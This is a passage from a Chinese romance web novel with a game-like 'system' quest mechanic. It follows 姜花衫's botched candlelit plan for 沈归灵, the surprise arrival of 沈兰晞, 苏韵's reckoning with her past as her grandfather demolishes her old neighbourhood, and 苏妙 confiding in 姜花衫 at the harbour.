姜花衫指尖一顿,抬起头,“我就是突然想吃牛排了。” 原本她计划做顿饭感动感动沈龟灵,但现在变成了一个笑话,所以她打算绝口不提。 “那你呢?早上怎么回事?怎么把厨房的鸡蛋都打碎了?莫然说你怕火,既然怕火干嘛还给我煮鸡蛋?” 沈归灵愣了愣,完全没想到她会这么直接,他低头看了看手背的伤,解释道,“我没有怕火,鸡蛋是一时没注意失手打碎的。” “真的?”姜花衫皱眉,难道情报错了?她盯着他的眼睛,“真的不怕?” 沈归灵点头,“真的。” 姚勇伟的威胁让他突然意识到,有弱点的人没有资格恐惧,现在姜花衫只不过想要一碗面他都给不起,未来那么多人,他凭什么有赢面? 所以他强行跟过去的记忆做了分割,弱点和恐惧,他留下了前者。 姜花衫试图沈归灵的眼里找到说谎的痕迹,但是没有。 他很坦然。 “……” 什么人? 上午还怕火,下午出去一趟就克服了? “你怎么了?” 姜花衫将棉棒包好扔进医药箱,站起身,“没事,你好好休息。我去看看莫然收拾干净没有?” 她若无其事站起身,拉开房门退了出去。 房门关上,姜花衫瞬间变脸,脚步匆忙跑客厅, “莫助……” 话还没说出口,屋内传来咔的一声,电表跳闸屋内灯光骤灭,眼前亮起一片橙光。 “砰——” 紧接着大门传来轻轻地关门声。 莫然大步跑进电梯,双手合十小声祈祷祈祷,“姜小姐,一切就拜托你了。” * “……” 姜花衫看着满室华光,整个人如同在风中凌乱。 沈归灵出门后,她查了一上午的心理资料,最后仅用了三分钟就拟定了一份《带领小可怜走出童年阴影》的计划表。 沈龟灵不是怕火光吗?那就给他制造一出浪漫温馨的火光记忆缓和他心灵的伤害。 为了保证计划万无一失,她还特意跟莫然分享了她的拯救计划,莫然对此赞不绝口,两人一拍即合,分头行动。 姜花衫在家里做爱心晚餐,莫然出去买香氛蜡烛。 但谁也没想到planA计划出了问题,姜花衫竟然差点把厨房烧了,不过没关系,她们还有planB。 姜花衫故意打着上药幌子进卧室,也就是为了替莫然争取布置场景的时间。 可刚刚聊着聊着姜花衫就发现情况又不对了,沈龟灵竟然自己克服了恐惧,这不瞎搞? 于是她赶紧出来想通知莫然撤退,没想到已经来不及了。 跳动的烛火闪着十字光晕,十字相连眼前如黑幕中的璀璨星云,但此刻姜花衫完全感受不到丝毫美感,只觉眼睛都要闪瞎了。 不是!莫然是章鱼投胎吗?她才进去几分钟,怎么点了几百支蜡烛?! 头大!姜花衫回头看了过道一眼,赶紧跑进客厅吹蜡烛。 沈龟灵都已经不怕火了,这些烛火除了证明她是个傻叉没有任何作用! “呼呼呼——” “你在做什么?” 姜花衫正趴在茶几上吹蜡烛,背脊微微一僵,随即若无其事站起身。 “哦,好像停电了,莫然点的蜡烛,我觉得有点多了。” 沈归灵站在过道入口,眸光深深看着她。 客厅被烛光占领,落地玻璃倒映着橙色的光晕,整个房间都是光。 她也是光。 姜花衫扯了扯领口,刚刚吹的太急头有点晕了。 “蜡烛太多有点缺氧,你下次说说莫然,别这么浪费。” 说完,她故作不在意瞟的沈归灵一眼,“好累啊,我先回去睡觉了。” 她没好气吹灭了钢琴上的蜡烛,打着哈欠往过道走去。 两人并肩擦身而过时,她的手腕突然被扣住。 姜花衫脚步一顿,抬眸看着并肩的少年。 闪烁的烛光斜打在过道的墙面上,沈归灵迎着光,眼睑上扬,笑而不知。 “不是想吃牛排吗?” 姜花衫甩开他的手,带上小猪帽,没好气,“不想吃了!” 气都气饱了。 沈归灵一把拽着她的猪尾巴,将她拖到跟前,有些哄骗的意思,“我做。” “都说了不吃!”姜花衫板着脸扯猪尾巴,她现在压根不想面对客厅外面几百盏烛火, 沈归灵嘴角比AK还难压,低头轻声说道,“我明天一定狠狠教训莫助理。” “……”姜花衫抬起头,斜睨着着他。 沈归灵知道他现在不能笑,可是他控制不住,滟潋的眸光里像含着一泓春水,好不招摇。 怎么就这么看不惯他得意呢? 姜花衫突然脑热,单手搂着沈归灵的脖子,踮起脚尖,一个蜻蜓点水的吻在他的侧脸。 【叮——】 沈归灵眼睑微微颤动,眸底的春水被暗光吞噬。 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发……】 完成了! 姜花衫怔愣,意外之喜啊!之前她就一直在想,心动值突破的临界点到底是什么?刚刚脑子一热突然破罐子破摔,反正沈归灵已经误会了,干脆再拱一把火大家谁都别想好过。 没想到竟然歪打正着让她完成任务了。 天才! 【……完成进度99.9%】 扬着的嘴角瞬间凝固。 多少? 99.9%????????????? 怎么还有小数点啊? 没等她缓过劲,下巴忽然被人强势托起。 沈归灵撩着眼睑,眸光缱绻温柔,“为什么亲我?” 他问的很随意,就好像刚刚发生的事并不重要。 但姜花衫知道这只是表象,因为下巴的温度和力度无一不在提醒她…… 他兴奋了。 * 昏暗的光影在两人之间反复跳动,地上的影子以几乎交缠的姿态重叠在一块。 以这种姿态被质问,不管怎么答都处于弱势。 姜花衫轻轻踮脚,挂在脖子上的手臂不着痕迹转移方向,一把扣住沈归灵的手腕,她想把拽下他的手,但完全不起作用。 “沈龟灵,松手。” 还敢动?沈归灵指尖收力抬起她的下巴,侵略的目光如有实质一般落在她的唇上。 “你还没回答,为什么亲我?” “……”姜花衫张口咬住他的虎口。 狐假虎威,沈归灵由着她咬,大拇指微微弯曲,状似无意划过她的嘴角。 现在这样,暧昧已经过界了。 姜花衫咬不下去了,瞪大了眼睛。“你先松开,我就告诉你。” 沈归灵有些不舍,但他更要知道答案,“不许骗我。” 她煞有介事保证,“不骗。” 沈归灵权衡片刻松了手。 “是……”是个屁! 一点缓冲都没有,姜花衫转身就跑,沈归灵早预判了她的套路,拽着她的小猪尾巴直接把人扛上肩。 莫名其妙被人倒栽葱,姜花衫气得猛掐沈龟灵腰身,“沈龟灵,你干什么,放我下来!” 今天真是出师不利,就不该穿这小猪睡衣,被人揪了一晚上的猪尾巴。 沈归灵身体微微一僵,把她丢进客厅的沙发床。 “今天你要不说清楚,别想回去睡觉。” 怎么说?难不成告诉沈归灵,就因为他一上来就赠送99%超爱大礼包,搞得她掉入了PDD薅羊毛陷阱,这才一不小心缺了德? 说不了一点!姜花衫直接摆烂,抱着枕头原地装死。 就不张口,沈归灵还能严刑逼供不成? “……” 沈归灵被她这无赖的模样气笑了,她怎么这么有能耐?一个晚上能把他丢进油锅窜了三回。 沉默片刻,沈归灵俯下身,单膝抵着软榻边缘,两只手一左一右撑在姜花衫身体两侧,身下的软体因为承受不住两个人的重量,一点点往下塌。 姜花衫闭着眼,神态安详。 沈归灵,“我忘记告诉你了,睡着的人是不会绷脚背的。” 姜花衫豁然睁眼,眸如点漆看着他。 沈归灵,“你昨天晚上的足弓都快折成C了。” “……” 姜花衫的心态一下爆炸! 明牌! 沈归灵这是在告诉她,他知道她在装睡! 怎么这么蔫坏?! 姜花衫气的眸光都要荡出水来了。 沈归灵很喜欢她现在的反应,翘着嘴角逗她,“为什么装睡?” “……” “紧张?” “……” 他战术性笑了笑,低头凑近几分,“为什么紧张?” “……” 烛光跳动,光影在两人的脸上来回闪过,空气里忽然弥漫了一股不知情调的香味。 早知道她不会回答,他低下眉眼,烛火照亮了他眼里赤裸裸的明示,“为什么亲我?为什么……” 姜花衫猛然窜起,双手挂在他的脖子,贴着他另一边脸颊落下一吻。 再来一刀!她就不信了! “……”沈归灵的质问戛然而止。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发……】 姜花衫此刻的心提到了嗓子眼。 【……完成进度99.99%】 “……” 噗!已卒! 此时,两人的沉默震耳欲聋。 非静止画面静止了三秒,唯有烛火在努力发光。 三秒过后,两人同时进攻。 “啊!”姜花衫发出愤怒的咆哮,抄起枕头对着沈归灵的脸砸了过去,弹跳起身准备跑路。 99.99%???????????? 这是正常人会出现的心动值吗? 沈归灵偏头躲过枕头,在她跳起的瞬间一把揪住她的猪尾巴拖进怀里。 姜花衫一个回身熊抱,往上蹦跳对着沈归灵的下巴撞去,沈归灵痛的轻嘶了一声,扶住她的腰对着她撅起的臀一巴掌拍了下去。 “!” 竟然打她的隐私部位? 姜花衫怒从心头起,恶从胆边生,抬脚对着沈归灵挡下踢去。 “?”沈归灵眉心跳了跳,直接把人扑倒,慌乱间脸砸进了一团棉花里,他一时没反应,以为是枕头抬手一把抓住。 那只手修长有力,白皙皮肤隐隐可见跳动的青筋,情急之下的力可想而知。 “嗯……” 身奋起反抗的泥鳅安静了。 “……”沈归灵脑子的弦忽然奏乐,思维空白了几秒才想起要绅士,极为不舍抬起指尖。 这个时候应该要解释一下。 他看着她不知是气还是羞红的脸,到嘴边的道歉忽然变成,“好软。” 姜花衫瞪圆了眼睛,不敢相信这是沈归灵会说出这种话,不甘示弱回怼,“你才软,你最软。” 沈归灵微愣,下意识看向身下,几乎是一瞬间他就明白了姜花衫的暗指。 片刻后,他低头笑出了声,眼尾荡着明媚的春光,很开心开心那种。 姜花衫单挑眉梢,小心坐了起来。 这乌龟越来越变态了?现在他都能被她骂爽了? 沈归灵收敛笑意,抬手摸了摸她的头,语气温柔宠溺,“姜花衫,你怎么能长大?我都有些迫不及待了。” “……神金。”姜花衫假装听不懂,挨着软榻边缘跳下沙发。 不过这么一打岔沈归灵好像已经不在意她为什么亲他了。 “叮咚——” 这时,屋内忽然传来门铃声。 姜花衫眼睛一亮,莫然终于靠谱了一回,她暗呼得救了屁颠屁颠去开门。 沈归灵低头整理衣襟,“你现在最好别开门。” 神金,傻子才听你的。 姜花衫打着赤脚,手脚麻利推开大门,“莫助理你来收蜡……” 楼道吹进一阵冷风。 少年抬眸,露出芝兰玉树的矜贵脸,“莫助理?” …… 第327章 失眠的夜 沈兰晞? 姜花衫灿烂的嘴角微微抽搐。 沈兰晞怎么会在这? 没等她反应,高止从沈兰晞身后探出头,十分恭敬打招呼,“姜小姐。” 沈兰晞往屋里看了一眼,“怎么没开灯?” “……”姜花衫脚趾扣了扣地板,“停电了。” 停电?高止转头看向电梯大厅,不对啊,他们刚刚上来的时候明明有电。 沈兰晞不动声色打量她,“沈归灵呢?他不在吗?” “兰晞哥。”沈归灵双手插兜走进玄关,嘴角噙着些许笑意。 沈兰晞越过姜花衫与沈归灵对视,两人一个疏离一个温润,目光看似平和实则都藏着刀锋。 “……” 姜花衫扯了扯嘴角,正要笑沈龟灵虚伪,忽然想到什么,眸光顿亮。 沈兰晞来的可不正是时候?这家伙为人古板遵守教条,一定不会允许她和沈龟灵发生什么,所以只要有沈兰晞制衡沈龟灵,沈龟灵就不能拿她怎么招。 至于那99.99%的进度条她也想看开了,有条件就薅,没条件就撤,把白峥的资料消化完就赶紧找新剧情,不能被小可怜的任务迷了眼。 今晚的事不解释不回应,虽然有点渣,但感情就是这样的,你渣我我渣你,渣多了就习惯了。 “来都来了,傻站着干什么?快进来啊!” 想通后,姜花衫一反常态,殷勤备至给沈兰晞拿了双棉拖鞋,“别客气,就当在自己家一样。” 沈兰晞微有些疑惑,但见她笑容真诚不似作假,眼里的冷漠瞬间回暖。 姜花衫咧着嘴角,转身对上沈龟灵审视的目光,眼里的挑衅更浓,甚至还故意擦着他的衣角从他身边晃过。 沈归灵笑了笑。 沈兰晞换好鞋转入客厅,上百支香氛蜡烛将夜幕点缀如星河,偌大的整个客厅如同披上了一层暧昧的白纱,充斥着似有若无的甜香。 “……” 刚刚回温的情绪瞬间沉入眸底,沈兰晞转头看向沈归灵。 沈归灵仿佛不知他的情绪,转去吧台倒了一杯热水递给沈兰晞。 “兰晞哥,一路辛苦,喝口水吧。” 从始至终,沈归灵表现的落落大方,像极了一个热情好客的好弟弟。 沈兰晞接过水杯,情绪不显,“谢谢。” “不客气。” 两人维持着刀光剑影般的和平。 沈归灵转身走向客厅,路过地上的抱枕时,随意捡起扔进落地窗前的沙发床。 嚯~! 高止眼里闪过一丝精光。 这氛围!这舞美效果!这两人肯定有奸情! 这姜花衫实在是太过分了,少爷日夜兼程跑来找她,她却跟别的小白脸厮混,这是在践踏少爷的真心啊! 士可忍孰不可忍! 高止义愤填膺看向沈兰晞,“少爷……” 骂她!骂死她!这口气要忍下去了,以后岂不是永无翻身之地,一辈子吃爱情的苦? 沈兰晞面不改色打断他,“闭嘴。” “……” 呸!这爱情的苦活该你吃!菜鸡! 客厅影影绰绰。 沈兰晞端着水杯步入客厅,与沈归灵对面而坐,光影以中间的茶几为明暗交界线,将两人划分成黑白两端。 沈归灵率先开口,“兰晞哥来南湾怎么不事先说一声?这倒显得我怠慢了。” 沈兰晞,“我来南湾处理一点事,有些棘手,暂时不回鲸港,这几天可能要麻烦你了。” 姜花衫状似无意站在壁炉前摆弄蜡烛。 “一家人有什么麻烦不麻烦的,我这倒是还有一间房,只要兰晞哥不嫌弃想住多久都可以。” 沈兰晞点头,目光随意环顾一圈,“这些蜡烛是怎么回事?” 姜花衫不由自主扭了扭脖子,默默竖起耳朵偷听。 沈归灵,“兰晞哥,你吃过晚餐了吗?” 沈兰晞自然不会蠢到把这视为关心,目光淡淡静待下文。 沈归灵,“衫衫刚刚一直吵着要吃牛排,兰晞哥如果没吃,正好可以一起。” “噗——” 姜花衫吹灭了一只蜡烛。 沈归灵这是在告诉沈兰晞,点蜡烛是为了吃牛排,烛光晚餐。 但偏偏他说的是实话,姜花衫连反驳都不行。 沈兰晞没什么反应,低头喝了一口温水,“我没吃。” 躲在暗处的高止默默翻了个白眼,晚上的饭是喂了狗? “那就一起吧,我去准备,你们先聊。”沈归灵起身,径直走向厨房。 姜花衫正好一肚子疑惑,沈归灵一退场她坐上沙发,“兰晞哥,苏家后来怎么样了?苏妙呢,她回苏家了吗?” 沈兰晞现在对苏家、苏妙提不起半点兴趣,淡淡扫过她茶几上的蜡烛。 姜花衫立马解释,“这是莫然点的,这不停电了吗?这样看的清楚些。” 话音一落。 “滴——” 全房通电,乍然复明的灯光差点没把姜花衫的眼睛闪瞎,就连都沈兰晞不适眯了眯眼睛。 沉默再次震耳欲聋。 姜花衫忽然意识到什么,转头看向厨房,这个狗东西! 这不明晃晃告诉沈兰晞这些烛火不单纯吗? 沈兰晞放下水杯,起身走向厨房。 “?” 姜花衫神情微动,目光紧紧跟着沈兰晞的背影。 这就要去教训沈归灵了?沈兰晞这么靠谱的吗? 另一边。 沈归灵刚摆上铁锅,沈兰晞就出现在厨房门口,两人目光短暂交汇又平静错开。 这次,沈兰晞率先开口,“有什么我可以帮忙的吗?” 沈归灵指了指西厨区的果盘,“给姜花衫榨杯草莓汁?” 沈兰晞点头,解开袖扣,慢条斯理卷好衬衣。 两人分别占领着各自区域,背对彼此,互不干涉。 姜花衫趴在沙发上认真观察敌情,等了好一会儿也没听见里面有动静,反而莫名其妙响起了榨汁机的声音。 气氛有些诡异。 就沈归灵刚刚说话那态度,以沈兰晞的脑子怎么可能看不出猫腻? 伪兄妹也是兄妹啊,沈兰晞不制止吗?不痛批吗? 他不去教训沈归灵,去榨果汁??? 脑子被驴踢了? 上一世爷爷逼沈兰晞娶她,这家伙用的最多的理由就是他不能娶自己的妹妹,这是不伦。 怎么现在换个人,他就能接受了? 姜花衫忽然想到什么,一口吹灭眼前的蜡烛。 明白了,就是不爱呗。 …… 第328章 跟过去道别 鲸港。 苏宅。 这是苏韵第无数次从噩梦中惊醒。 脆弱的眼皮一直在颤抖,她捂着剧烈跳动的心脏坐了起来,额头上密密麻麻布满了汗珠。 她又梦魇了。 这次她梦见她被一双未知的手推进了那道铁门,那些人疯狂撕扯着她的衣服,她奋力呼救但是铁门却被牢牢焊死,一点生路都没有。 绝望、无助、恐惧。 一道道枷锁压在她身上让她喘不过气。 她看着头顶的裂窗天旋地转,看着眼前的世界分崩离析,然后她的脸变成了苏妙。 那些痛苦、罪恶、肮脏全都转移了。 苏韵转头看向窗台,月光穿过奶白的蕾丝窗帘倒映出郁金香的影子,她终于恢复了一点意识,抬起头打量眼前的一切。 柔软的被褥、散发着香气的房间、还有温度适宜的暖气,这些无一不在提醒她,那些苦难已经过去了。 苏韵揉了揉发胀的太阳穴,拿起床头的手机。 凌晨四点,新的一天,但天还没亮。 她靠着床背,盯着手机屏幕发起了呆。 屏幕熄灭忽然又亮起,一条突如其来的消息占据了她的视线。 -【尊贵的猎人玩家,欢迎加入秘密花园。】 苏韵涣散的眸光瞬间凝聚。 周宴珩。 之前她也曾收到过周宴珩的邀请函,但那时她只是供人玩乐的猎物。 周宴珩这是什么意思,他不是说他们之间的游戏结束了吗? 苏韵眸中闪过一丝暗涌。 新游戏? * 早上九点,苏敬琉穿戴整齐坐在主厅喝咖啡。 苏韵在阿姨的指引下走进客厅,“爷爷。” 从收到那封邀请函后她一直没有睡,眼底隐隐透着血丝。 苏敬琉一眼看出了她的疲惫,关切道,“怎么了?没睡好?是不是还不习惯?” 苏韵摇头,住在苏家她还有什么不习惯的。 苏敬琉给她倒了杯咖啡,“今天没什么事,爷爷想带你去个地方。” “好。”苏韵低头看了看身上的穿着,有些小心翼翼,“那我现在去准备?” “不用,就这样很好。” 苏韵没再接话。 空缺了十六年,她并不知道怎么做一个合格的苏家大小姐,所以很多事都显得局促、笨拙。 苏敬琉看在眼里,轻轻拍了拍她的肩膀,“别紧张,就是去散散心。” * 轿车一路飞驰,鲸港城仿佛一夜之间缩小了,以前那些看上去遥不可及、气派巍峨的建筑如今都不过她车窗间微不足道的风景。 苏韵把头伸出窗外,前方五台专车开道,后方十台SUV护送,他们所到之处每个路口都有交警戒严,往来车辆均被挡在沈家的通行线之外。 这样的待遇与十六岁之前的人生简直天差地别。 谁能想到,三天前她还是个连活路都没有的可怜虫,而现在仅仅只是出个家门,就能让半座城的交通改变。 车辆从繁华一路驶向废墟,越靠近边郊苏韵的脸色越沉重。 她回头看向苏敬琉,眼中满是不安。 苏敬琉知道她在想什么,轻轻拍了拍苏韵的手背,宽慰道,“放心,有爷爷在。” 这句话或许能宽慰苏妙,但并不能宽慰苏韵。她在黑暗中生活了太久,一点点风吹草动都会要了她的命,所以这个世上除了她自己,谁都不能让她放心。 “老爷子,到了。” 车辆停摆在满是灰尘的泥路旁,即使再尊贵的车到了这里,也不可能不染纤尘。 “跟爷爷下去走走?” 苏韵不解看着苏敬琉,她不明白为什么他们要来这里散心,这个片区不仅建筑腐朽落后,就连人也一样。 但她没有选择,还是乖乖下了车。 苏敬琉朝她招手,苏韵犹豫片刻上前搀扶。 两人一步一步走过泥泞,来到暗巷入口。 “阿韵,你觉得这里怎么样?” 苏韵环顾一圈,她不知道该怎么表达?这里是她从小生活的地方,她所有的不幸都发生在这里。 “我已经买下了这块地,不止这,还有那,那。”苏敬琉点着远处连成一片的破旧水泥房,“现在,它是你的了。” 苏韵怔愣,她很善于隐藏自己的心思,但这失神的情绪来的太快,她来不及藏好。 苏敬琉指着眼前深不见底的入口,语气平和,“爷爷欠你的,这辈子都还不清,这个小小的礼物就当作爷爷对你的补偿。 地基还是这块地基,但这次你可以把一切推翻重建,可以建学校、建医院、也可以建游乐场、建公园,只要你开心。” 苏韵是个聪明的人,立马明白了苏敬琉话里的深意,她有些动容,“真的吗?” “真的。”苏敬琉点头,“爷爷给你表演个魔术。” 他指着巷口尽处的水泥房子轻轻一点。 “砰——” 一声爆动石破天惊。 一排排水泥房子连线坍塌卷起漫天尘土。 苏韵难以置信看着周围的一切,那些她曾经以为坚不可摧的东西,原来在真正的力量面前如此不堪一击。 被推翻的世界需要新的秩序,苏敬琉作为指引者,必须让苏韵回到正确的位置。 他抬头,看着被浓尘遮挡的天空,语重心长,“孩子,你知道为了这半日遮天的权利苏家人都付出过什么吗?” “你父亲小时候被苏家政敌绑架,几经生死才从鬼门关逃了回来,你小叔前前后后经历百场生死暗杀,最后一次在医院躺了半年,还有阿灼,年幼时被朋友背叛失足掉进水里差点溺毙……” 苏韵愣了愣,难以置信看着苏敬琉。 苏敬琉转过头,“这世间万物守恒,不管多大的荣耀它都是一把双刃剑,厄运和权力从不单独存在。阿韵,爷爷知道你对过去耿耿于怀,但是人这一生不是只有过去,你才十六岁,你的人生才刚刚开始,如果太执着于过去的苦难会折损了自己。” 苏韵指尖微微颤抖,收紧握拳。 “你是个聪明隐忍的孩子,爷爷知道。你一定付出了很多才能完好无缺走到我们面前,爷爷欣赏你的聪明和隐忍,所以爷爷不怪你在非常时期做的任何选择,因为就算是爷爷,在同样的年纪和阅历下,也不能保证会比你做的更好。” 苏韵身体微僵,抬眸看着苏敬琉,“您知道我做了什么吗?您不怪我?” 苏敬琉摇头,“那些都不重要,重要的是结果,你和妙妙都回来了。” “人啊,不能太贪心,我们不能既要求你好好活着又要求如我们期待那般完美活着。人在战乱濒死之际连骨肉至亲都可做盘中餐,大难临头恩爱夫妻也可反目为仇,人之天性罢了。” “过去的事就让它过去,我们都既往不咎。从今天起,你的人生不再只有被舍弃、被交换的选项,你可以有更多的选择的权利。” “就如同你眼前这块被推平的荒地,你可以重建任何你喜欢的东西。” 苏韵抽泣了一声,泪水夺眶而出。 苏敬琉摸了摸她的头,“别哭了,既然已经回家了,跟过去好好道别吧。” …… 第329章 夹心饼干 一个小时后。 收敛好情绪的爷孙两人出现在鲸和医院门口。 苏敬琉,“想清楚了?” 苏韵点头,即使这些天她一直在噩梦中无法挣脱,她也从来不后悔当初的决定,因为那是她万念俱灰下的最后一搏,就算是粉身碎骨遭神鬼厌弃她也认了。 可是,今天苏敬琉却说,她可以有更多选择。苏韵被这句话打动了,第一次对自己做出的决定起了动摇之心。 如果可以选,她其实也想成为一个与人为善的人,就像苏妙那样。 所以,她想试试。 苏敬琉知道苏韵的心思,客观指出,“阿韵,苏家并不能代表妙妙,要不要见你还得看她自己的意愿,这件事你不能勉强她。” 苏韵点头。 两人辗转来到苏妙的病房前,苏敬琉先一步入内,却发现苏妙并不在房间,神情大变叫来守卫的保镖,一番追问竟没人知道苏妙去了哪? 苏敬琉大怒,立马调集人手寻人,眼下苏家和傅家正在博弈,苏妙突然失踪,苏家人顺理成章怀疑上了傅家。 一时间鲸港风声鹤唳,草木皆兵。 * 南湾。 姜花衫小心翼翼从卧室探出头,等了一会儿没听见动静立马从房间里溜了出来,蹑手蹑脚掩好门,刚转身…… 左右两边的房门同时打开,两道颀长的身影同时走出房间。 沈归灵穿了一件群青色的套头毛衣,他鲜少穿这么艳的颜色,实在让人眼前一亮,饶是姜花衫被吓了一跳都没忍住多看了一眼。 沈兰晞看了看身上的白衬衣,目光黯了几分。 宽敞的过道一下站了三个人,忽然变的拥挤。 沈归灵扫了一眼她肩上的背包,“你要出去?” “昂。” 沈兰晞,“去哪?” 姜花衫忍着脾气,“港口。” 沈兰晞原本还想问和谁,但见姜花衫已经不高兴了只能忍了回去。 沈归灵拿出手机,“让莫然陪你去。” 姜花衫斜睨看着沈归灵。 沈归灵难得强势,“这里是南湾,海港鱼龙混杂,莫然必须跟着。” 姜花衫想了想,没有直接拒绝,“可是我跟人家约好的时间马上就要到了,等莫然来会迟到了。” 沈归灵,“我先送你去,莫然去港口汇合。” 这么安排也挑不出什么毛病,姜花衫勉为其难点头,“好吧。” 沈兰晞目光在两人之间游离了一圈,眸光冷了几分,正欲转身袖口突然被人拽住。沈兰晞愣了愣,回头看向始作俑者。 姜花衫朝他笑了笑,“兰晞哥,你有事吗?” 沈兰晞想着高止连夜发来的几百条见面信息,摇头,“没事。” “那正好。”姜花衫咧嘴一笑,“你也一起送我去港口吧?” 她才不要跟99.99%的鱼单独相处。 沈兰晞眼里的疏离淡去了几分,点头,“可以。” 姜花衫转头朝沈归灵挑了挑眉,抬头挺胸擦着他的漂亮的毛衣从他面前贯过。 沈归灵抬眸笑了笑。 * “姜小姐,你还好吧?” 雷行聚看着后视镜里的三人,一头雾水。 沈归灵在南湾不过一个临时任命宣传秘书,为了保持低调,座驾是一辆二十万起步奥迪A4,原本后车厢的空间也不算狭小,但沈归灵和沈兰晞各占了左右两侧,一米八的大长腿随意一放,姜花衫搭脚的空间都没有了。 为了保证楚河汉界各不干扰,她只能挺直了腰板当好中间那条河。 “没事没事,你好好开车。” 话音刚落,前面斑马线突然窜出一个行人,雷行一个右拐急刹,姜花衫直接一个横摆撞进了沈兰晞的怀里。 “……” 两人都愣了一下,沈兰晞有些不自然托住她的肩膀,“没事吧?” 姜花衫摇头,麻利坐好。 沈归灵眼里的笑容淡了几分,“雷行,好好开车。” 雷行连忙道歉,“是,对不住啊,姜小姐。” 姜花衫懒得计较,“行了,时间快来不及了,抓紧时间开车。” “是。” 从沈归灵住的地方到南湾码头不过十分钟的车程,雷行为了避开红路灯一路选择右拐,但今天就是有这么凑巧,连续三个路口都有行人抢道,短短十分钟,姜花衫已经扑到沈兰晞三次,最后一次整个人直接贴进了沈兰晞的怀里。 沈兰晞明显僵了一下。 姜花衫感觉手腕被人拽了一下,身体被强行拉了起来。 沈归灵推门下车,眼里挂着噙着未达眼底的笑,“到了,下车吧。” 姜花衫实在觉得有些对不住沈兰晞,别人不知道,但她知道,沈兰晞有点生理洁癖,今天被她连碰三次应该肺都气炸了。 “那个,我先走了。” 她含糊打了招呼,啧了沈归灵一声,飞快冲进人群。 沈兰晞低着头,目光停在胸口的位置,白色衬衣上沾了一道极浅的粉色唇印, …… 第330章 你不够爱自己 片刻后,沈兰晞终于找回一点理智,收敛好神情才推门下车。 白天的港口川流不息,沈兰晞的目光在人群里逡巡了一圈才落回沈归灵身上。 “我还有些事要办,就不跟你一起回去了。” “好。兰晞哥再见。”沈归灵没有多问,挂着温和的笑上了车。 雷行借着后视镜小心翼翼观察沈归灵,“少爷,去哪?” 沈归灵情绪不显,“政府大楼。” “是。”雷行见沈归灵没什么表示,暗暗松了一口气。 从港口到政府大楼也是十几分钟的车程,一直往右拐就到了。但这次所有的右拐都很顺利,雷行丝滑转动方向盘,一点违和感都没有。 沈归灵不置一词,单手支头看着窗外的风景。 车辆顺利驶入政府大楼,雷行解开安全带准备下车开门,忽然耳边传来一声漫不经心的质问。 “雷行,你是谁的人?” “啊?”雷行愣了愣,有些反应不过来看向沈归灵,“少爷,我当然是您的人了。” 沈归灵,“我的人?你就是这么开车的?” 少爷这是质疑他的车技? 雷行有些心虚,低着头不敢看沈归灵,“少爷您看出来了?真是什么都瞒不过您,但是少爷,我真的是您的人,我对您忠心耿耿,您看,这一路我就没让姜小姐挨您一下。” “……”沈归灵抬起眼梢,目光在雷行憨厚的脸上停留了片刻,语调平静,“谁让你这么做的?” 雷行瞟了沈归灵一眼又立马低下头,“高止。” “高止?” 雷行点头,底气不足,“阿灵少爷,我和高止是同门师兄弟,我们一起训练的时候他很照顾我,我吃的多他还帮我抢其他师兄弟的饭。当年老爷子要从同门中选一个人跟兰晞少爷去清虚观,师父说我憨实勇猛力荐了我,是高止告诉我,清虚观在山里,条件艰苦还吃不饱,我由此心生退意,后来是高止代替我去受了苦。” “所以,你为了报答高止,今天一路右拐刹车?”沈归灵不评判,只追问。 雷行神情尴尬,“高止说姜小姐喜欢兰晞少爷,所以拜托他请我制造机会测试兰晞少爷的心意,您知道的,姜小姐这个人心眼最小了,她在沈园颠倒黑白老爷子也不管,我只能屈服于她的淫威。但是!” 雷行表情凝重,语气坚定,“少爷您放心,我还是很有分寸的,绝对不会为了他们任何一个人触犯您的利益。” “……”沈归灵盯着雷行沉默了三秒,眼里重新挂上温和的笑,“你和高止有联系?” 雷行点头,“我们同门师兄弟都在一个群里,他经常在里面晒肌肉。” 沈归灵,“打给他,问他现在在哪里?” * “我?我现在在港口钓鱼呢,你要不要来?” 高止接到电话的时候正在港口码头找人。 “哎,你又不是不知道,我这少爷跟有失语症似的,一天到晚崩不出二十句话,连清虚观的猴都没感化他,我要再不出来放松放松,活泼开朗的性格就要被磨平了。” 胡扯到一半,高止突然觉得气氛不对,转头发现沈兰晞就站在身后。 “……”他默默转过身,提高嗓音,“哦,刚刚的事多亏了你帮忙啊,我们这些做保镖的,最主要的就是少爷开心,挂了啊,下次请你喝酒。” 这样少爷就不能罚他了。 高止挂了电话往后瞟了一眼,佯装刚刚才看见沈兰晞,表情严肃,“少爷,人找到了。” 沈兰晞看了他一眼,“带路。” 高止暗暗松了一口气,戴上墨镜替沈兰晞开道。 * 另一边,姜花衫赶到三号码头时,已经有人提前到了。 苏妙穿着一件单薄的外套,双手撑着岸边的铁索仰头眺望海面。 如此恶劣的天气,港口的人都在赶路,只有她在停留。 “苏妙。” 姜花衫喊了一声。 苏妙愣了愣,回身看见姜花衫时,眼里浮过一丝极浅的笑意,随即踮着脚尖朝她招手。 姜花衫小跑上前,从背包里取提前准备好的羊绒毛毯,“怎么穿这么少?” 苏妙笑了笑,接过毛毯披在身上。 她早就到了,吹风的时候不觉得冷,但不知道为什么,看见姜花衫的时候她才意识到自己原来很冷。 两人坐在沿岸的休闲椅上看海,看渡轮、货船来来往往。 姜花衫侧头,状似不在意问道,“在想什么?” 苏妙笑了笑,“我在想阿珊,当初我们就是在这里告别的,不知道她现在怎么样了。” “那是她向往的地方,能有什么不好的。没准她现在也正在想你,在想你过的好不好?” 姜花衫顿了顿,问出了这几天最关心的问题,“苏妙,你还好吗?” 苏妙眨了眨眼,“不好。” 她转身一把抱住姜花衫,哭得稀里哗啦,“一点都不好。呜呜呜呜呜……” 在医院有人看着,她连哭都不敢大声,只敢偷偷躲在被窝里哭。 但是她真的觉得很委屈,她真的太需要找一个人倾诉了。 “妈妈问我发生了什么事,我不敢说。爷爷问我,如果苏家接受了苏韵我会不会恨他,会不会恨所有人?我不敢回答。哥哥让我回家,我连家都不敢回,你说,我怎么变成了这样?什么都不敢,什么都怕?” 姜花衫犹豫片刻,抬手轻拍苏妙的肩膀。 “为什么不敢跟苏伯母说,是怕苏伯母接受不了受刺激,还是怕她选择苏韵不选择你?” 苏妙身体微微一僵。 姜花衫,“如果是前者,你的不敢是善良,说明你变的越来越好了。” “那……如果是后者呢?”苏妙的声音极轻。 姜花衫,“说明你不够爱自己。” …… 第331章 你可以不原谅 不够爱自己? 苏韵抬起头怔怔看着姜花衫。 